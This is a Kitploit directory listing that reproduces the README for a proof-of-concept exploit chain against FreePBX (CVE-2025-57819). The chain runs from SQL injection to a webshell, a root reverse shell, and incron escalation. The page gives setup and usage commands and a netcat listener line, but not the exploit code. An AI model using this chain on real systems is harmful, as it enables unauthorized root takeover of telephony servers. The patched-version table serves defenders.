Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-57819-FreePBX-RCE2Root — Full-chain CVE-2025-57819 PoC for FreePBX 15, 16, and 17: unauthenticated SQLi to RCE and root takeover. | Kitploit
Tools/GitHubGitHub/ozcanpng/cve-2025-57819-freepbx-rce2root
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHub
Share
ozcanpng/cve-2025-57819-freepbx-rce2root

CVE-2025-57819-FreePBX-RCE2Root

Full-chain CVE-2025-57819 PoC for FreePBX 15, 16, and 17: unauthenticated SQLi to RCE and root takeover.

View Repository
1385 months agoNot yet reviewed

CVE-2025-57819 — FreePBX SQLi → RCE → Root

Full-chain PoC for CVE-2025-57819. Unauthenticated error-based SQL injection in FreePBX's endpoint module chains into a root shell via cron job injection and incron privilege escalation.

For authorized testing and research only. Do not use against systems you don't own.


What it does

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell
  1. Extracts DB info via error-based injection on /admin/ajax.php
  2. Injects a cron job that writes a PHP webshell to the web root
  3. Waits for cron to fire (~60s), confirms RCE as asterisk
  4. Creates an incron trigger file that fires fwconsole hook as root
  5. Catches reverse shell on your listener

Setup

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Usage

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

Start a listener first:

nc -lvnp 9999

Then run:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup removes the webshell and cron job after exploitation.


Affected

FreePBX with the endpoint module installed. The brand parameter in /admin/ajax.php is passed unsanitized into a SQL query.

FreePBXPatched Version
15.x15.0.66
16.x16.0.89
17.x17.0.3

References

  • FreePBX Security Advisory GHSA-m42g-xg4c-5f3h
  • NVD — CVE-2025-57819

Author

ozcanpng — github.com/ozcanpng — ozcanpng.dev

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →